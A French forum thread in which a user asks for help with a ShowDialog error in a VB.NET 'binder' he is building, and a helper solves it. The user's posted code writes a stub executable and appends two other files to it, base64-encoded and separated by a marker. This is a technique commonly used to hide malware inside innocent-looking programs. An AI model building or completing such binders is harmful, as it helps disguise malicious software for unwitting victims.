Probléme en VB.NET [Résolu]

Fedor1 Messages postés 9 Statut Membre -  
MrYAU31 Messages postés 4631 Statut Membre -
Bonjour,j'ai un sousis je suis entrain de crée un binder et quand je fait binder sa me met ça :

Un formulaire qui est déjà visible ne peut pas être affiché sous la forme d'une boîte de dialogue modale.Affectez la valeur false à la propriété visible du formulaire avant d'appeler ShowDialog

Si vous pouvais m'aidez sa serais simpa de votre part :)

5 réponses

  1. MrYAU31 Messages postés 4631 Statut Membre 1 630
     
    Bonjour,

    Tu peux donner un peu plus de code ?
    Tu n'as pas déjà appelé ton formulaire avec un Show ?
    1
  2. MrYAU31 Messages postés 4631 Statut Membre 1 630
     
    Je suppose que ce code est dans une autre form...
    Et en ajoutant ce qu'il y a en gras ci-dessous ?

    If sfd.ShowDialog() = Windows.Forms.DialogResult.OK
    1
  3. MrYAU31 Messages postés 4631 Statut Membre 1 630
     
    Avec plaisir
    (ça va, c'était pas compliqué ;-) )
    1
  4. Fedor1 Messages postés 9 Statut Membre
     
    as tu skype ou autre ?

     Private Sub Thief3Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Thief3Button3.Click
    
    
            Dim sfd As New SaveFileDialog
            With sfd
                .FileName = "*.*"
                .Title = "Choisir le nouvelle emplacement du fichier..."
                .Filter = "All File (*.*)|*.*"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If ShowDialog() = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[SPLITTER]"
                    Dim buffer As Byte() = My.Resources.Stub2
                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
                    Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                    Dim file2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                    System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(file2) & sp & F2)
                    MsgBox("Binder avec succès!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Succès !")
                End If
            End With
    
        End Sub
    
    End Class
    


    J'ai cette erreur en gras
    0
  5. Vous n’avez pas trouvé la réponse que vous recherchez ?

    Posez votre question
  6. Fedor1 Messages postés 9 Statut Membre
     
    Merci il fallais mettre If sfd.ShowDialog() = Windows.Forms.DialogResult.OK

    Sujet réussi (fermer)
    0